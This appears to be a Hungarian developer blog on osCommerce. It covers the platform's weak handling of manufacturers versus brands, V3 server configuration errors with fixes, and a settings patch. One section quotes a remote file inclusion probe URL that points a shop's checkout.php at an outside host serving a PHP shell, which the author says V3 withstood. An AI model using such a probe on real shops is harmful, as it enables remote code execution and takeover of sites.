Tipikus rossz tanács, avagy miért csak tipizált vagy egy termék gyártó termékpalettájának
bemutatására alkalmas az osCommerce webáruház?

Lássunk példát, ami
egy gumiabroncs webáruház. Temékgyártóink a Michelin és a Continental

Michelin márkák: Michelin, Kléber, Kormoran
Continental márkák: Continental, Semperit, Barum

Megcélzott alkategóriák: téli, nyári, 4évszak

Termék márkák a kategóriában

A termék kategóriák között szerepeltetjük a termék márkákat

Hiba: a termék gyártó Michelin és a Continetal is duplikálva van a kategóriák és a gyártók között.
Az alkategóriák kategóriánként csak többszörözéssel hozhatóak létre és logikailag semmi
közük a márkákhoz, mert nem albrendek. Azaz mind a Michelin mind a Continetal kategóriában
létre kell hozni a téli, nyári és a 4évszak alkategóriát.

A termék gyártók között szerepeltetjük a termék márkákat

Mivel nem termékgyártó a Barum és a Semperit de még a Kléber sem, ezzel tartalmilag megtévesztjük
a vásárlókat.

A termék gyártókat átnevezzük márkákra

Logikailag a legszerencsésebb megoldás, mivel a termék gyártók helyett a brendek, azaz a termék
márkák sorolhatók, de valós gyártói forrás csoportosítás viszont már nem hajtható végre sem a
Michelin sem a Continental márkái között. A termék márkák, mint önálló brendek léteznek.

Ha a kategóriát használnánk ismét fel most a termék gyártók létrehozására, akkor ugyanaz a
logikai hiba lép fel, mint a legelső esetben.

Ha a termék gyártók márkák, de nem hozzuk létre gyártói kategóriákat, akkor a vásárlók nem tudják
elkülöníteni információ hiányában a gyártói forrást, amely a marketing gyártói ázsiót tünteti el.
Más csatornákon (újság, TV, Rádió, plakát stb) létező marketing üzenetek így elképzelhető,
hogy soha sem érnek célba.

Akárhogy is csavarjuk, az osCommerce rendszer nem alkalmas sőt kifejezetten hátrányos
marketing helyes termékáruház létrehozására. Feltétlenül szükség volna a termék gyártók
továbbgondolására, mivel elengedhetetlen egy újabb, a termékkategóriák logikáján alapuló
termék brendek vagy termék márkák bevezetése.

Piaci fejlődés eredménye, hogy esetenként egy jelentős termék gyártó felvásárlás, egyesülés stb.
alapján újabb és újabb piaci márkaneveket szerez meg magának, ami a korábbi márkatulajdonos, mint
termékgyártó megszűnésével jár. Az így létrejött termék gyártó, már nem csak a fő márkanevét, ami
előfordulhat, hogy a saját gyártói neve is, de más márkanevű terméket is gyártani fog.

Az az eshetőség, melyben egy termékgyártó a termék márkanevet bérgyártásban készíti szintén
hasonló értelmezésbeli problémákat vet fel. Ilyenek például a tipikus kereskedelmi láncok saját
brendjei, amit más termék gyártójával készíttetnek mindenféle gyártói kapacitás nélkül.

Összegzésképpen elmondható, hogy a termék gyártó nem feltétlen, de lényeges információ hordozója.
A termék gyártók szerinti listázás ugyanis a marketing gyártói hírnév vagy ázsió szempontjából elengedhetetlen.
A termék gyártók vagy gyártatók brendjei, esetleges albrendjei, pedig az elsődleges marketing
üzenet hordozók, amik ugyanilyen vagy már fontosabb szerepet játszanak a vásárlás folyamatában.

Tapasztalatom és véleményem szerint elengedhetetlen lenne alapcsomag szinten a termék
márkák bevezetése az osCommerce rendszereibe, mivel ezek nélkül sajnos nem hozható létre
logikusan, értelmesen tagolt webáruház.

Törésteszt oscommerce V3 rendszeren

Felfigyeltem egy furcsa URL-re a minap. Elsőnek nem tudtam mire vélni,
de aztán az eredménye láttán, okosabb lettem. A kód segítségével el lehet különíteni a
védett és a védtelen shopokat.

http:\ezazenshopom.hucheckout.php?_SERVER[DOCUMENT_ROOT]=http:\www.apc.edu.ectemp?

Aztán megnéztem külön a http:\www.apc.edu.ectemp? fájlt is. A panda ezt az üzenetet küldte:

Panda GP 2010 jelentés:

megfertőzte a PHP/Shell vírus, ezért töröltem.

Hogy mik vannak!

Errorlog üzenetek alfa 6-on:

• PHP Notice: Array to string conversion in osc3/includes/functions/html_output.php on line 488
• PHP Notice: Array to string conversion in osc3/includes/functions/general.php on line 51

A hálón rákerestem az irodalomra is.
Nem gondoltam, hogy mennyire egyszerű a probléma, de a V3 most jól vizsgázott. Ez már nem a 2003-as színvonal.

Szerver beállítási problémák OSCOM V3-nál

Igyekszem majd, hogy a fejlesztés és a tesztelés során jelentkező szerver beállításra visszavezethető hibákat egy folyamatosan frissített gyűjtemény csokorba szedjem.

TimeZone hiba

Nem volt feltelepítve a szerveren a PHP date_default_timezone_get() utasítás így ezt az error kaptam:
PHP Unknown: date_default_timezone_get() [function.date-default-timezone-get]: It is not safe to rely on the system’s timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected ‘Europe/Berlin’ for ‘CEST/2.0/DST’ instead in /x/y/demoshop/includes/functions/compatibility.php on line 16

Megoldásom a compatibility.php-ben következő egyenlőre:

//date_default_timezone_set(@date_default_timezone_get());
date_default_timezone_set(‘Europe/Budapest’);

Nincs exec

A hiba a Server Info oldalán jelentketzett

PHP Warning: exec() has been disabled for security reasons in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/Application/ServerInfo/ServerInfo.php on line 33

Megoldásom egyenlőre a hibás és referencia sorokat /* */ közé raktam.

Nem működik a valuta árfolyam

A hiba a valutaárfolyamok frissítésénél jelentkezett, mert nincs allow_url_fopen

PHP Warning: file() function.file http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /x/y/demoshop/osCommerce/OM/Core/Site/Admin/includes/functions/localization.php on line 16

Használjuk inkább a CURL-t, hamár úgyis telepítési feltétel

True/False, 1,-1, true/false a modulok Státuszállapotában

A modulok telepítgetése során feltűnt, hogy a beállítások össsze-vissza, hol angolul, hol magyarul Igaz/Hamis vagy True/False vagy true/false értéket vesznek fel. A témát jobban körüljárva feltűnt, hogy szerteágazó a státuszkezelés kapcsolója. Érdemes lenne szabványosítani, mégpedig többnyelvűsíthetően.

A fizetési módokban

'osc_cfg_set_boolean_value(array('True', 'False'))'

A szállítási módokban

'osc_cfg_set_boolean_value(array(array(1, -1))'

Az összesítő módolokban

'osc_cfg_set_boolean_value('true', 'false'))'

A legjobb lenne, ha mindegyik a szállítási módokban lévőt használná, mert az többnyelvűsíthető és nem kell True/False értékeket bámulnunk. Nade van erre egy egyszerűbb megoldás…

Keressük meg a
catalog/admin/includes/functions/cfg_parameters/osc_cfg_set_boolean_value.php
fájlt és javítsuk a megfelelő részt

Keresd ezt:

//
      if ($value === -1) {
         $value = $osC_Language->get('parameter_false');
       } elseif ($value === 0) {
         $value = $osC_Language->get('parameter_optional');
       } elseif ($value === 1) {
         $value = $osC_Language->get('parameter_true');
       }

Cseréljük erre:

// We wish
if ($value === -1 || $value === 'false' || $value === 'False') {
$value = $osC_Language->get('parameter_false');
} elseif ($value === 0) {
$value = $osC_Language->get('parameter_optional');
} elseif ($value === 1 || $value === 'true' || $value === 'True') {
$value = $osC_Language->get('parameter_true');
}

A sablon dobozok szabványa

//
INSERT INTO osc_templates_boxes_to_pages VALUES (5,4,1,'*','left',500,0);
INSERT INTO osc_templates_boxes_to_pages VALUES (6,12,1,'*','right',100,0);
INSERT INTO osc_templates_boxes_to_pages VALUES (16,16,1,'index/category_listing','after',400,0);

A sablon modulok elrendezésében is van némi nyelvi probléma a left/right/after miatt, ami a boxes_group mező értékeit mutatja

Megoldásnak javasolnék egy osc_cfg_template_modules_group.php-t, ami az osc_languages_definition tábla nyelvi változóiból veszi a nyelvnek megfelelő értéket.